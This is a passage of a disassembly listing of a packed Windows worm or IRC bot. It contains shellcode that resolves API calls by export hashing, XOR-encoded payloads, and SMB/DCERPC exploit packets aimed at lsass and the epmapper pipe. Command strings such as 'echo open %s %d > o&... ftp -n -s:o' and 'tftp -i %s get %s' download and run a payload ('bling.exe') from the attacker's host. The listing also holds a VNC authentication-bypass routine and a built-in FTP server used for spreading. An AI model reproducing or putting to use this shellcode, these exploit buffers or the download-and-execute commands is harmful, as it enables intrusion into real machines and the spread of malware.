ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_432294 endp ; =============== S U B R O U T I N E ======================================= sub_4322AA proc near ; CODE XREF: sub_432198+16p ; sub_432198+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4322C0: ; CODE XREF: sub_4322AA+33j jecxz short loc_4322FA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4322CD: ; CODE XREF: sub_4322AA+2Dj lodsb cmp al, ah jz short loc_4322D9 ror edi, 0Dh add edi, eax jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_4322D9: ; CODE XREF: sub_4322AA+26j cmp edi, [esp+20h+arg_0] jnz short loc_4322C0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j ; sub_4322AA:loc_4322FAj jmp short loc_4322FA sub_4322AA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_432300 proc near ; DATA XREF: .packed:0040D5CDo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_432352 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43231D: ; CODE XREF: sub_432300+38j jecxz short loc_43234D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432328: ; CODE XREF: sub_432300+32j lodsb test al, al jz short loc_432334 ror edx, 0Dh add edx, eax jmp short loc_432328 ; --------------------------------------------------------------------------- loc_432334: ; CODE XREF: sub_432300+2Bj cmp edx, [esp+arg_0] jnz short loc_43231D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj mov [esp+arg_0], ebx retn sub_432300 endp ; =============== S U B R O U T I N E ======================================= sub_432352 proc near ; CODE XREF: sub_432300+7p ; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43236B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_432376 ; --------------------------------------------------------------------------- loc_43236B: ; CODE XREF: sub_432352+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_432376: ; CODE XREF: sub_432352+14j pop edi xor esi, esi pusha push esi jmp short loc_43238A sub_432352 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43237D proc near ; CODE XREF: sub_432352:loc_43238Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43237D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432352 loc_43238A: ; CODE XREF: sub_432352+29j call sub_43237D loc_43238F: ; DATA XREF: sub_40CD9E+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_432352 ; --------------------------------------------------------------------------- dw 0 dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o align 4 loc_4323B4: ; DATA XREF: sub_40CD9E+E8o jmp short near ptr dword_4323BC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4323BC dd 0 ; CODE XREF: .packed:loc_4323B4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .packed:0040D5F4o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .packed:0040E02Do ; .packed:0040E167o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCF9+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o dd 20h, 5C005Ch, 0 off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do ; "Lafler" a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 8 dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_40DCF9+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo asc_432940: ; DATA XREF: sub_40DB5E+1Co ; sub_40DC41+16o unicode 0, <\\>,0 align 4 off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co ; sub_40DC41+Bo dd offset aLallemant+8 dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .packed:0040E235o ; .packed:0040E99Eo ... align 10h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .packed:0040E1E8o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .packed:0040DF8Do align 10h jmp short loc_4329C2 ; =============== S U B R O U T I N E ======================================= sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4329BA: ; CODE XREF: sub_4329B2+Cj xor byte ptr [ebx+ecx], 99h loop loc_4329BA jmp short loc_4329C7 ; --------------------------------------------------------------------------- loc_4329C2: ; CODE XREF: .packed:004329B0j call near ptr sub_4329B2 loc_4329C7: ; CODE XREF: sub_4329B2+Ej jo short loc_432A2B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_432A49 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_432A49: ; CODE XREF: sub_4329B2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_4329B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_432AF0: ; DATA XREF: sub_40E3F1+156o ; sub_40E3F1+212o jmp short loc_432B02 ; =============== S U B R O U T I N E ======================================= sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_432AFA: ; CODE XREF: sub_432AF2+Cj xor byte ptr [edx+ecx], 99h loop loc_432AFA jmp short loc_432B07 ; --------------------------------------------------------------------------- loc_432B02: ; CODE XREF: .packed:loc_432AF0j call sub_432AF2 loc_432B07: ; CODE XREF: sub_432AF2+Ej jo short near ptr dword_432A80+1Eh cwde cdq cdq retn sub_432AF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40E3F1+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .packed:0040E8A6o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .packed:0040E8D2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .packed:0040E8F9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40E3F1+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 2 dup(0) word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r ; sub_40E3F1+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r ; sub_40E3F1+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40E292+BCo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o ; --------------------------------------------------------------------------- loc_433408: ; DATA XREF: sub_40E3F1+177o jmp short loc_433410 ; --------------------------------------------------------------------------- jmp short loc_433412 ; --------------------------------------------------------------------------- align 10h loc_433410: ; CODE XREF: .packed:loc_433408j ; DATA XREF: sub_40E3F1+27o pop esp pop esp loc_433412: ; CODE XREF: .packed:0043340Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9FB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .packed:0040EE25o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .packed:0040ECB2o align 4 word_4346DC dw 1 ; DATA XREF: .packed:0040EC29r ; sub_41B55B+24r ... align 10h dword_4346E0 dd 2E646D63h, 657865h ; DATA XREF: sub_40EF1C+130o ; sub_41A1B1+21o aEchoOpenSDOE_0 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40F108+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F3AA+5DAo a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40F3AA+5B9o align 4 dword_434798 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh ; DATA XREF: sub_40F3AA+568o ; sub_412197+3ACo dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch dd 207C2038h, 336E5730h, 203E2044h, 7325h a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F3AA+554o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40F3AA+4F7o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_40F3AA+4DFo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F3AA+4CFo align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F3AA+4BEo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F3AA+48Bo align 10h aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F3AA+447o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_40F3AA+40Eo align 10h a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F3AA+3E0o align 4 aList_0 db 'LIST',0 ; DATA XREF: sub_40F3AA+3CDo align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40F3AA+395o align 4 aPasv db 'PASV',0 ; DATA XREF: sub_40F3AA+382o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F3AA+372o aI_0: ; DATA XREF: sub_40F3AA+35Eo ; .packed:004387E8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F3AA+33Bo aA_0: ; DATA XREF: sub_40F3AA+327o ; .packed:004387F4o unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_40F3AA:loc_40F6B3o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F3AA+2FEo align 4 off_43492C dd offset dword_445750 ; DATA XREF: sub_40F3AA+2EAo a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F3AA+2DDo align 4 aRest db 'REST',0 ; DATA XREF: sub_40F3AA+2C9o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F3AA+2BCo align 4 aSyst db 'SYST',0 ; DATA XREF: sub_40F3AA+2A8o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F3AA+29Bo align 4 aPass db 'PASS',0 ; DATA XREF: sub_40F3AA+287o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F3AA+277o align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_40F3AA+262o align 4 aSS_0 db '%s %s',0 ; DATA XREF: sub_40F3AA+251o align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F3AA+1C9o align 4 unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned 